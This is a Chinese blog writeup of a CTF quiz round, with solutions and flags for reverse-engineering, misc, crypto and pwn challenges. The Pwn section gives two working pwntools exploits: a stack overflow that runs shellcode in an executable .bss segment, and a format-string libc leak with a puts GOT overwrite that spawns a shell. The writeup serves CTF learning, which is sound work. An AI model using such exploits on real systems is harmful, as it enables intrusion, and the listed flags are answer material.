i春秋CTF答題賽(第三季)WriteUp

i春秋CTF答題賽(第三季)WriteUp

文章首發於我的博客:https://mrskye.cn

Re

幸運數字

分析 main 函數得出,只要輸入的值經過加密轉換之後等於H5wg_2g_MCif_T1ou_v7v7v,就會返回真正 flag 。加密算法只針對字符串中的英文字符。

分析中間加密部分可知,如果密文是大寫字母,那麼明文也是大寫字母;小寫字母同理。如果想檢驗的下面給出加密部分的 c 源碼,自己加一個循環上去,看看就知道了。

#include <stdio.h>
#include <cstring>
int main()
{
	char a_list[]= "N5cm_2m_SIol_Z1ua_b7b7b";
	unsigned int v5=strlen(a_list)+1;
	int i;
	char v8;
	char v9;
	for(i=0;i<=v5-2;++i)
	{
		v8 = a_list[i];
		if(v8>'Z'||v8<'A')
		{
			if(v8>'z'||v8<'a')
			continue;
			v9 = (v8 - 83) % 26 + 97;
		}
		else
		{
			v9 = (v8 - 51) % 26 + 65;
		 } 
		a_list[i] = v9;
	}
	printf("%s",a_list);
 } 

反正明文組合也不多,就爆破之。最終 exp 如下:

import string
a = "H5wg_2g_MCif_T1ou_v7v7v"
b = ""
ascii_lowercase = string.ascii_lowercase
ascii_uppercase = string.ascii_uppercase

for letter in a:
	log = 0
	if letter in ascii_uppercase:
		for upper in ascii_uppercase:
			c_upper = (ord(upper)-51)%26+65
			if chr(c_upper) == letter:
				b += upper
				log = 1
				print("[+]{} is find --> {}".format(letter,upper))
	if letter in ascii_lowercase:
		for lower in ascii_lowercase:
			c_lower = (ord(lower)-83)%26+97
			if chr(c_lower) == letter:
				b += lower
				log = 1
				print("[+]{} is find --> {}".format(letter,lower))
	if log == 0:
		b += letter
		print("[+]{} is find.".format(letter))
print(b)

flag

flag{T5is_2s_YOur_F1ag_h7h7h}

Misc

word

密碼:cq19

白給

flag

flag{obol0dxf-adtr-1vft-p7ng-djulcfsbil3y}

Crypto

md5_brute

將4個 md5 拿去解密得到flag。

在線md5解密

flag

flag{wangwu-2019-1111-9527}

code

差分曼徹斯特編碼 + 十六進制轉字符串

msg1 = 0x9a9a9a6a9aa9656699a699a566995956996a996aa6a965aa9a6aa596a699665a9aa699655a696569655a9a9a9a595a6965569a59665566955a6965a9596a99aa9a9566a699aa9a969969669aa6969a9559596669
s = bin(msg1)[2:]
print s
r = ""
tmp = 0
for i in xrange(len(s) / 2):
    c = s[i * 2]
    if c == s[i * 2 - 1]:
        r += '1'
    else:
        r += '0'
print hex(int(r, 2))[2:-1].decode('hex')

flag

flag{zw1tt1hl-7zcv-ebfk-akxt-i4xdsxeuv5d3}

encrypt

flag

flag{Easy!eAsy!eaSy!}

Pwn

Electrical System

64位,僅有 NX 保護的程序。通過 IDA 分析,在菜單選擇列表中,存在着棧溢出的漏洞。

分析源碼得出,在輸入 ID 時,數據(&buf)將會保存到 .bss 段,輸入地址0x6020e0,檢查發現這個程序的 .bss 段有可執行權限。

最終利用思路:輸入 ID 時,把 shellcode 輸進去。在菜單時,輸入Check或者Recharge,避免exit(0),然後精心構造棧上數據,將 rip 覆寫爲 .bss 段地址(0x6020e0)。

Q:爲什麼需要輸入輸入Check或者Recharge?

A:覆寫的是 menu_brand(0x0000000000400AEE) 返回地址,即完成一次菜單選擇纔會返回上層的循環(被覆寫後則跳轉到 .bss 段),因此需要確保不會觸發 menu_brand 的 exit() 函數,所以需要輸入一個功能選項。這裏爲了簡單就選 Check 。

最終exp如下:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p = remote('120.55.43.255',11002)
p = process("./pwn")
p.recvuntil('ID:\n')
p.sendline(asm(shellcraft.sh()))

recharge_addr = 0x0000000000400A6F
sh_addr = 0x00000000006020E0

p.recvuntil('choice:\n')
p.sendline('Check' + 11 * 'a' + p64(sh_addr))
p.interactive()

flag

flag{8e0ab265-066c-4d9c-8cc4-bd5a425aadae}

後記

pwndbg 的 REGISTERS 查看不知道有沒有坑?在棧溢出時,實際上已經覆寫了 rip 的值,但是 REGISTERS 顯示的是原值。通過查內存(0x7fffffffdd48),可以證實 rip 已經被覆寫了。又或者將 payload 的 .bss 地址修改爲 ‘a’*0x8 ,就會報錯,然後 gdb 程序並加載生成的 core文件,查詢 rip 的值。

···
Please enter your choice:
Checkaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 1, 0x0000000000400b5d in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────[ REGISTERS ]─────────────────
RDI  0x7fffffffdd38 ◂— 'Checkaaaaaaaaaaaaaaaaaaaaaaaaaaa'
RSI  0x400ec7 ◂— push   0x6b6365 /* 'Check' */
RBP  0x7fffffffdd40 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaa'
RIP  0x400b5d ◂— call   0x400a3a
─────────────────[ STACK ]─────────────────
00:0000│ rsp  0x7fffffffdd30 ◂— 0x0
01:0008│ rdi  0x7fffffffdd38 ◂— 'Checkaaaaaaaaaaaaaaaaaaaaaaaaaaa'
02:0010│ rbp  0x7fffffffdd40 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaa'
... ↓
05:0028│      0x7fffffffdd58 ◂— 0x500000000
06:0030│      0x7fffffffdd60 —▸ 0x400ce0 ◂— push   r15
07:0038│      0x7fffffffdd68 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax

pwndbg> x/20gx 0x7fffffffdd38
0x7fffffffdd38:	0x6161616b63656843	0x6161616161616161
0x7fffffffdd48:	0x6161616161616161	0x6161616161616161
0x7fffffffdd58:	0x0000000500000000	0x0000000000400ce0
0x7fffffffdd68:	0x00007ffff7a2d830	0x0000000000000001
0x7fffffffdd78:	0x00007fffffffde48	0x00000001f7ffcca0
0x7fffffffdd88:	0x0000000000400bc6	0x0000000000000000

Car Search System

格式化字符串漏洞,關鍵代碼位置如圖:

程序只有 NX 保護。利用思路: printf 處格式化漏洞泄露出 __libc_start_main+247 地址,得出 libc 基地址,將 put.got 覆寫爲 system ,修改 v7 值,利用 read 函數讀入 /bin/sh ,調用 put 函數,觸發 system(’/bin/sh’) 。

修改 v7 值時,直接修改棧上的值,程序會down,所有可以通過指針 v8 來修改。----pumpkin9

最終exp如下:

# coding:utf-8
from pwn import *
context.terminal=['tmux','split','-h']
context.log_level = 'debug'
p = process("./pwn2")
#p = remote("120.55.43.255",11001)
elf=ELF("./pwn2")
# 自己從本地函數庫拉取
lib = ELF("./libc.so.6")
# 字符指針到buf偏移
offset = 30

# leak libc base addr 
p.recvuntil("leave\n")
p.sendline("%59$p") # 偏移59在eip開頭;這裏讀取的是eip
__libc_start_main = int(p.recvline().strip("\n"),16)-247
print hex(__libc_start_main)
libc = __libc_start_main - lib.symbols['__libc_start_main']
log.success("libc base addr : 0x%x"%libc)
system = libc+lib.symbols['system']
log.success("system addr : 0x%x"%system)

# overwrite put.got to system
p.recvuntil("leave\n")
payload = fmtstr_payload(30,{elf.got["puts"]:system})
p.sendline(payload)

# leak v7 addr
p.recvuntil("leave\n")
payload = "%51$p" # v7 偏移51
p.sendline(payload)
point = int(p.recvline().strip("\n"),16)
log.success("v7 addr : 0x%x"%point)

# overwrite v7 to 102
p.recvuntil("leave\n")
payload = p32(point)+"%98c%30$hhn" #偏移30以單個字節讀入ascii爲98單個字符
p.sendline(payload)

# get shell
p.sendlineafter("ar in 7 day","/bin/sh\x00")
# gdb.attach(p)
p.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章